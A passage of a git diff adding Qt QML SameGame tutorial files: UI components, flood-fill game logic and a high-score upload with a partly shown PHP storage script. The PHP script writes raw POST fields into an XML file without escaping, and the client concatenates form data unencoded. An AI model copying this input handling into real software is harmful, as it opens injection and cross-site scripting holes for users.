+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ function show(text) {
+ dialogText.text = text;
+ container.opacity = 1;
+ }
+
+ function hide() {
+ container.opacity = 0;
+ }
+
+ width: dialogText.width + 20
+ height: dialogText.height + 20
+ opacity: 0
+
+ Text {
+ id: dialogText
+ anchors.centerIn: parent
+ text: ""
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: hide();
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame3/samegame.js b/examples/declarative/tutorials/samegame/samegame3/samegame.js
new file mode 100644
index 00000000..df5bdfb0
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame3/samegame.js
@@ -0,0 +1,174 @@
+/* This script file handles the game logic */
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn * maxRow;
+var board = new Array(maxIndex);
+var component;
+
+//Index function used instead of a 2D array
+function index(column, row) {
+ return column + (row * maxColumn);
+}
+
+function startNewGame() {
+ //Calculate board size
+ maxColumn = Math.floor(gameCanvas.width / gameCanvas.blockSize);
+ maxRow = Math.floor(gameCanvas.height / gameCanvas.blockSize);
+ maxIndex = maxRow * maxColumn;
+
+ //Close dialogs
+ dialog.hide();
+
+ //Initialize Board
+ board = new Array(maxIndex);
+ gameCanvas.score = 0;
+ for (var column = 0; column < maxColumn; column++) {
+ for (var row = 0; row < maxRow; row++) {
+ board[index(column, row)] = null;
+ createBlock(column, row);
+ }
+ }
+}
+
+function createBlock(column, row) {
+ if (component == null)
+ component = Qt.createComponent("Block.qml");
+
+ // Note that if Block.qml was not a local file, component.status would be
+ // Loading and we should wait for the component's statusChanged() signal to
+ // know when the file is downloaded and ready before calling createObject().
+ if (component.status == Component.Ready) {
+ var dynamicObject = component.createObject(gameCanvas);
+ if (dynamicObject == null) {
+ console.log("error creating block");
+ console.log(component.errorString());
+ return false;
+ }
+ dynamicObject.type = Math.floor(Math.random() * 3);
+ dynamicObject.x = column * gameCanvas.blockSize;
+ dynamicObject.y = row * gameCanvas.blockSize;
+ dynamicObject.width = gameCanvas.blockSize;
+ dynamicObject.height = gameCanvas.blockSize;
+ board[index(column, row)] = dynamicObject;
+ } else {
+ console.log("error loading block component");
+ console.log(component.errorString());
+ return false;
+ }
+ return true;
+}
+
+var fillFound; //Set after a floodFill call to the number of blocks found
+var floodBoard; //Set to 1 if the floodFill reaches off that node
+
+//![1]
+function handleClick(xPos, yPos) {
+ var column = Math.floor(xPos / gameCanvas.blockSize);
+ var row = Math.floor(yPos / gameCanvas.blockSize);
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return;
+ if (board[index(column, row)] == null)
+ return;
+ //If it's a valid block, remove it and all connected (does nothing if it's not connected)
+ floodFill(column, row, -1);
+ if (fillFound <= 0)
+ return;
+ gameCanvas.score += (fillFound - 1) * (fillFound - 1);
+ shuffleDown();
+ victoryCheck();
+}
+//![1]
+
+function floodFill(column, row, type) {
+ if (board[index(column, row)] == null)
+ return;
+ var first = false;
+ if (type == -1) {
+ first = true;
+ type = board[index(column, row)].type;
+
+ //Flood fill initialization
+ fillFound = 0;
+ floodBoard = new Array(maxIndex);
+ }
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return;
+ if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type))
+ return;
+ floodBoard[index(column, row)] = 1;
+ floodFill(column + 1, row, type);
+ floodFill(column - 1, row, type);
+ floodFill(column, row + 1, type);
+ floodFill(column, row - 1, type);
+ if (first == true && fillFound == 0)
+ return; //Can't remove single blocks
+ board[index(column, row)].opacity = 0;
+ board[index(column, row)] = null;
+ fillFound += 1;
+}
+
+function shuffleDown() {
+ //Fall down
+ for (var column = 0; column < maxColumn; column++) {
+ var fallDist = 0;
+ for (var row = maxRow - 1; row >= 0; row--) {
+ if (board[index(column, row)] == null) {
+ fallDist += 1;
+ } else {
+ if (fallDist > 0) {
+ var obj = board[index(column, row)];
+ obj.y += fallDist * gameCanvas.blockSize;
+ board[index(column, row + fallDist)] = obj;
+ board[index(column, row)] = null;
+ }
+ }
+ }
+ }
+ //Fall to the left
+ var fallDist = 0;
+ for (var column = 0; column < maxColumn; column++) {
+ if (board[index(column, maxRow - 1)] == null) {
+ fallDist += 1;
+ } else {
+ if (fallDist > 0) {
+ for (var row = 0; row < maxRow; row++) {
+ var obj = board[index(column, row)];
+ if (obj == null)
+ continue;
+ obj.x -= fallDist * gameCanvas.blockSize;
+ board[index(column - fallDist, row)] = obj;
+ board[index(column, row)] = null;
+ }
+ }
+ }
+ }
+}
+
+//![2]
+function victoryCheck() {
+ //Award bonus points if no blocks left
+ var deservesBonus = true;
+ for (var column = maxColumn - 1; column >= 0; column--)
+ if (board[index(column, maxRow - 1)] != null)
+ deservesBonus = false;
+ if (deservesBonus)
+ gameCanvas.score += 500;
+
+ //Check whether game has finished
+ if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1)))
+ dialog.show("Game Over. Your score is " + gameCanvas.score);
+}
+//![2]
+
+//only floods up and right, to see if it can find adjacent same-typed blocks
+function floodMoveCheck(column, row, type) {
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return false;
+ if (board[index(column, row)] == null)
+ return false;
+ var myType = board[index(column, row)].type;
+ if (type == myType)
+ return true;
+ return floodMoveCheck(column + 1, row, myType) || floodMoveCheck(column, row - 1, board[index(column, row)].type);
+}
+
diff --git a/examples/declarative/tutorials/samegame/samegame3/samegame.qml b/examples/declarative/tutorials/samegame/samegame3/samegame.qml
new file mode 100644
index 00000000..f313646d
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame3/samegame.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+import "samegame.js" as SameGame
+
+Rectangle {
+ id: screen
+
+ width: 490; height: 720
+
+ SystemPalette { id: activePalette }
+
+ Item {
+ width: parent.width
+ anchors { top: parent.top; bottom: toolBar.top }
+
+ Image {
+ id: background
+ anchors.fill: parent
+ source: "../shared/pics/background.jpg"
+ fillMode: Image.PreserveAspectCrop
+ }
+
+//![1]
+ Item {
+ id: gameCanvas
+
+ property int score: 0
+ property int blockSize: 40
+
+ width: parent.width - (parent.width % blockSize)
+ height: parent.height - (parent.height % blockSize)
+ anchors.centerIn: parent
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: SameGame.handleClick(mouse.x, mouse.y)
+ }
+ }
+//![1]
+ }
+
+//![2]
+ Dialog {
+ id: dialog
+ anchors.centerIn: parent
+ z: 100
+ }
+//![2]
+
+ Rectangle {
+ id: toolBar
+ width: parent.width; height: 30
+ color: activePalette.window
+ anchors.bottom: screen.bottom
+
+ Button {
+ anchors { left: parent.left; verticalCenter: parent.verticalCenter }
+ text: "New Game"
+ onClicked: SameGame.startNewGame()
+ }
+
+ Text {
+ id: score
+ anchors { right: parent.right; verticalCenter: parent.verticalCenter }
+ text: "Score: Who knows?"
+ }
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/samegame/samegame3/samegame3.qmlproject b/examples/declarative/tutorials/samegame/samegame3/samegame3.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame3/samegame3.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml b/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml
new file mode 100644
index 00000000..54654bfd
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/content/BoomBlock.qml
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Item {
+ id: block
+
+ property int type: 0
+ property bool dying: false
+
+ //![1]
+ property bool spawned: false
+
+ Behavior on x {
+ enabled: spawned;
+ SpringAnimation{ spring: 2; damping: 0.2 }
+ }
+ Behavior on y {
+ SpringAnimation{ spring: 2; damping: 0.2 }
+ }
+ //![1]
+
+ //![2]
+ Image {
+ id: img
+
+ anchors.fill: parent
+ source: {
+ if (type == 0)
+ return "../../shared/pics/redStone.png";
+ else if (type == 1)
+ return "../../shared/pics/blueStone.png";
+ else
+ return "../../shared/pics/greenStone.png";
+ }
+ opacity: 0
+
+ Behavior on opacity {
+ NumberAnimation { properties:"opacity"; duration: 200 }
+ }
+ }
+ //![2]
+
+ //![3]
+ Particles {
+ id: particles
+
+ width: 1; height: 1
+ anchors.centerIn: parent
+
+ emissionRate: 0
+ lifeSpan: 700; lifeSpanDeviation: 600
+ angle: 0; angleDeviation: 360;
+ velocity: 100; velocityDeviation: 30
+ source: {
+ if (type == 0)
+ return "../../shared/pics/redStar.png";
+ else if (type == 1)
+ return "../../shared/pics/blueStar.png";
+ else
+ return "../../shared/pics/greenStar.png";
+ }
+ }
+ //![3]
+
+ //![4]
+ states: [
+ State {
+ name: "AliveState"
+ when: spawned == true && dying == false
+ PropertyChanges { target: img; opacity: 1 }
+ },
+
+ State {
+ name: "DeathState"
+ when: dying == true
+ StateChangeScript { script: particles.burst(50); }
+ PropertyChanges { target: img; opacity: 0 }
+ StateChangeScript { script: block.destroy(1000); }
+ }
+ ]
+ //![4]
+}
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/Button.qml b/examples/declarative/tutorials/samegame/samegame4/content/Button.qml
new file mode 100644
index 00000000..85aea89b
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/content/Button.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property string text: "Button"
+
+ signal clicked
+
+ width: buttonLabel.width + 20; height: buttonLabel.height + 5
+ border { width: 1; color: Qt.darker(activePalette.button) }
+ smooth: true
+ radius: 8
+
+ // color the button with a gradient
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: {
+ if (mouseArea.pressed)
+ return activePalette.dark
+ else
+ return activePalette.light
+ }
+ }
+ GradientStop { position: 1.0; color: activePalette.button }
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: container.clicked();
+ }
+
+ Text {
+ id: buttonLabel
+ anchors.centerIn: container
+ color: activePalette.buttonText
+ text: container.text
+ }
+}
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml b/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml
new file mode 100644
index 00000000..a8dc99ee
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/content/Dialog.qml
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ id: container
+//![0]
+
+//![1]
+ property string inputText: textInput.text
+ signal closed
+
+ function show(text) {
+ dialogText.text = text;
+ container.opacity = 1;
+ textInput.opacity = 0;
+ }
+
+ function showWithInput(text) {
+ show(text);
+ textInput.opacity = 1;
+ textInput.focus = true;
+ textInput.text = ""
+ }
+
+ function hide() {
+ textInput.focus = false;
+ container.opacity = 0;
+ container.closed();
+ }
+//![1]
+
+ width: dialogText.width + textInput.width + 20
+ height: dialogText.height + 20
+ opacity: 0
+ visible: opacity > 0
+
+ Text {
+ id: dialogText
+ anchors { verticalCenter: parent.verticalCenter; left: parent.left; leftMargin: 10 }
+ text: ""
+ }
+
+//![2]
+ TextInput {
+ id: textInput
+ anchors { verticalCenter: parent.verticalCenter; left: dialogText.right }
+ width: 80
+ text: ""
+
+ onAccepted: container.hide() // close dialog when Enter is pressed
+ }
+//![2]
+
+ MouseArea {
+ anchors.fill: parent
+
+ onClicked: {
+ if (textInput.text == "" && textInput.opacity > 0)
+ textInput.openSoftwareInputPanel();
+ else
+ hide();
+ }
+ }
+
+//![3]
+}
+//![3]
diff --git a/examples/declarative/tutorials/samegame/samegame4/content/samegame.js b/examples/declarative/tutorials/samegame/samegame4/content/samegame.js
new file mode 100644
index 00000000..ccc3f9da
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/content/samegame.js
@@ -0,0 +1,225 @@
+/* This script file handles the game logic */
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn * maxRow;
+var board = new Array(maxIndex);
+var component;
+var scoresURL = "";
+var gameDuration;
+
+//Index function used instead of a 2D array
+function index(column, row) {
+ return column + (row * maxColumn);
+}
+
+function startNewGame() {
+ //Delete blocks from previous game
+ for (var i = 0; i < maxIndex; i++) {
+ if (board[i] != null)
+ board[i].destroy();
+ }
+
+ //Calculate board size
+ maxColumn = Math.floor(gameCanvas.width / gameCanvas.blockSize);
+ maxRow = Math.floor(gameCanvas.height / gameCanvas.blockSize);
+ maxIndex = maxRow * maxColumn;
+
+ //Close dialogs
+ nameInputDialog.hide();
+ dialog.hide();
+
+ //Initialize Board
+ board = new Array(maxIndex);
+ gameCanvas.score = 0;
+ for (var column = 0; column < maxColumn; column++) {
+ for (var row = 0; row < maxRow; row++) {
+ board[index(column, row)] = null;
+ createBlock(column, row);
+ }
+ }
+
+ gameDuration = new Date();
+}
+
+function createBlock(column, row) {
+ if (component == null)
+ component = Qt.createComponent("content/BoomBlock.qml");
+
+ // Note that if Block.qml was not a local file, component.status would be
+ // Loading and we should wait for the component's statusChanged() signal to
+ // know when the file is downloaded and ready before calling createObject().
+ if (component.status == Component.Ready) {
+ var dynamicObject = component.createObject(gameCanvas);
+ if (dynamicObject == null) {
+ console.log("error creating block");
+ console.log(component.errorString());
+ return false;
+ }
+ dynamicObject.type = Math.floor(Math.random() * 3);
+ dynamicObject.x = column * gameCanvas.blockSize;
+ dynamicObject.y = row * gameCanvas.blockSize;
+ dynamicObject.width = gameCanvas.blockSize;
+ dynamicObject.height = gameCanvas.blockSize;
+ dynamicObject.spawned = true;
+ board[index(column, row)] = dynamicObject;
+ } else {
+ console.log("error loading block component");
+ console.log(component.errorString());
+ return false;
+ }
+ return true;
+}
+
+var fillFound; //Set after a floodFill call to the number of blocks found
+var floodBoard; //Set to 1 if the floodFill reaches off that node
+
+function handleClick(xPos, yPos) {
+ var column = Math.floor(xPos / gameCanvas.blockSize);
+ var row = Math.floor(yPos / gameCanvas.blockSize);
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return;
+ if (board[index(column, row)] == null)
+ return;
+ //If it's a valid block, remove it and all connected (does nothing if it's not connected)
+ floodFill(column, row, -1);
+ if (fillFound <= 0)
+ return;
+ gameCanvas.score += (fillFound - 1) * (fillFound - 1);
+ shuffleDown();
+ victoryCheck();
+}
+
+function floodFill(column, row, type) {
+ if (board[index(column, row)] == null)
+ return;
+ var first = false;
+ if (type == -1) {
+ first = true;
+ type = board[index(column, row)].type;
+
+ //Flood fill initialization
+ fillFound = 0;
+ floodBoard = new Array(maxIndex);
+ }
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return;
+ if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type))
+ return;
+ floodBoard[index(column, row)] = 1;
+ floodFill(column + 1, row, type);
+ floodFill(column - 1, row, type);
+ floodFill(column, row + 1, type);
+ floodFill(column, row - 1, type);
+ if (first == true && fillFound == 0)
+ return; //Can't remove single blocks
+ board[index(column, row)].dying = true;
+ board[index(column, row)] = null;
+ fillFound += 1;
+}
+
+function shuffleDown() {
+ //Fall down
+ for (var column = 0; column < maxColumn; column++) {
+ var fallDist = 0;
+ for (var row = maxRow - 1; row >= 0; row--) {
+ if (board[index(column, row)] == null) {
+ fallDist += 1;
+ } else {
+ if (fallDist > 0) {
+ var obj = board[index(column, row)];
+ obj.y = (row + fallDist) * gameCanvas.blockSize;
+ board[index(column, row + fallDist)] = obj;
+ board[index(column, row)] = null;
+ }
+ }
+ }
+ }
+ //Fall to the left
+ fallDist = 0;
+ for (column = 0; column < maxColumn; column++) {
+ if (board[index(column, maxRow - 1)] == null) {
+ fallDist += 1;
+ } else {
+ if (fallDist > 0) {
+ for (row = 0; row < maxRow; row++) {
+ obj = board[index(column, row)];
+ if (obj == null)
+ continue;
+ obj.x = (column - fallDist) * gameCanvas.blockSize;
+ board[index(column - fallDist, row)] = obj;
+ board[index(column, row)] = null;
+ }
+ }
+ }
+ }
+}
+
+//![3]
+function victoryCheck() {
+//![3]
+ //Award bonus points if no blocks left
+ var deservesBonus = true;
+ for (var column = maxColumn - 1; column >= 0; column--)
+ if (board[index(column, maxRow - 1)] != null)
+ deservesBonus = false;
+ if (deservesBonus)
+ gameCanvas.score += 500;
+
+//![4]
+ //Check whether game has finished
+ if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1))) {
+ gameDuration = new Date() - gameDuration;
+ nameInputDialog.showWithInput("You won! Please enter your name: ");
+ }
+}
+//![4]
+
+//only floods up and right, to see if it can find adjacent same-typed blocks
+function floodMoveCheck(column, row, type) {
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return false;
+ if (board[index(column, row)] == null)
+ return false;
+ var myType = board[index(column, row)].type;
+ if (type == myType)
+ return true;
+ return floodMoveCheck(column + 1, row, myType) || floodMoveCheck(column, row - 1, board[index(column, row)].type);
+}
+
+//![2]
+function saveHighScore(name) {
+ if (scoresURL != "")
+ sendHighScore(name);
+
+ var db = openDatabaseSync("SameGameScores", "1.0", "Local SameGame High Scores", 100);
+ var dataStr = "INSERT INTO Scores VALUES(?, ?, ?, ?)";
+ var data = [name, gameCanvas.score, maxColumn + "x" + maxRow, Math.floor(gameDuration / 1000)];
+ db.transaction(function(tx) {
+ tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)');
+ tx.executeSql(dataStr, data);
+
+ var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "12x17" ORDER BY score desc LIMIT 10');
+ var r = "\nHIGH SCORES for a standard sized grid\n\n"
+ for (var i = 0; i < rs.rows.length; i++) {
+ r += (i + 1) + ". " + rs.rows.item(i).name + ' got ' + rs.rows.item(i).score + ' points in ' + rs.rows.item(i).time + ' seconds.\n';
+ }
+ dialog.show(r);
+ });
+}
+//![2]
+
+//![1]
+function sendHighScore(name) {
+ var postman = new XMLHttpRequest()
+ var postData = "name=" + name + "&score=" + gameCanvas.score + "&gridSize=" + maxColumn + "x" + maxRow + "&time=" + Math.floor(gameDuration / 1000);
+ postman.open("POST", scoresURL, true);
+ postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+ postman.onreadystatechange = function() {
+ if (postman.readyState == postman.DONE) {
+ dialog.show("Your score has been uploaded.");
+ }
+ }
+ postman.send(postData);
+}
+//![1]
+
diff --git a/examples/declarative/tutorials/samegame/samegame4/highscores/README b/examples/declarative/tutorials/samegame/samegame4/highscores/README
new file mode 100644
index 00000000..eaa00fae
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/highscores/README
@@ -0,0 +1 @@
+The SameGame example can interface with a simple PHP script to store XML high score data on a remote server. We do not have a publically accessible server available for this use, but if you have access to a PHP capable webserver you can copy the files (score_data.xml, score.php, score_style.xsl) to it and alter the highscore_server variable at the top of the samegame.js file to point to it.
diff --git a/examples/declarative/tutorials/samegame/samegame4/highscores/score_data.xml b/examples/declarative/tutorials/samegame/samegame4/highscores/score_data.xml
new file mode 100644
index 00000000..c3fd90d9
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/highscores/score_data.xml
@@ -0,0 +1,2 @@
+<record><score>1000000</score><name>Alan the Tester</name><gridSize>0x0</gridSize><seconds>0</seconds></record>
+<record><score>6213</score><name>Alan</name><gridSize>12x17</gridSize><seconds>51</seconds></record>
diff --git a/examples/declarative/tutorials/samegame/samegame4/highscores/score_style.xsl b/examples/declarative/tutorials/samegame/samegame4/highscores/score_style.xsl
new file mode 100644
index 00000000..670354c9
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/highscores/score_style.xsl
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+<xsl:template match="/">
+ <html>
+ <head><title>SameGame High Scores</title></head>
+ <body>
+ <h2>SameGame High Scores</h2>
+ <table border="1">
+ <tr bgcolor="lightsteelblue">
+ <th>Name</th>
+ <th>Score</th>
+ <th>Grid Size</th>
+ <th>Time, s</th>
+ </tr>
+ <xsl:for-each select="records/record">
+ <xsl:sort select="score" data-type="number" order="descending"/>
+ <tr>
+ <td><xsl:value-of select="name"/></td>
+ <td><xsl:value-of select="score"/></td>
+ <td><xsl:value-of select="gridSize"/></td>
+ <td><xsl:value-of select="seconds"/></td>
+ </tr>
+ </xsl:for-each>
+ </table>
+ </body>
+ </html>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php b/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php
new file mode 100644
index 00000000..daf480e2
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/highscores/scores.php
@@ -0,0 +1,31 @@
+<?php
+ $score = $_POST["score"];
+ echo "<html>";
+ echo "<head><title>SameGame High Scores</title></head><body>";
+ if($score > 0){#Sending in a new high score
+ $name = $_POST["name"];
+ $grid = $_POST["gridSize"];
+ $time = $_POST["time"];
+ if($name == "")
+ $name = "Anonymous";
+ $file = fopen("score_data.xml", "a");
+ $ret = fwrite($file, "<record><score>". $score . "</score><name>"
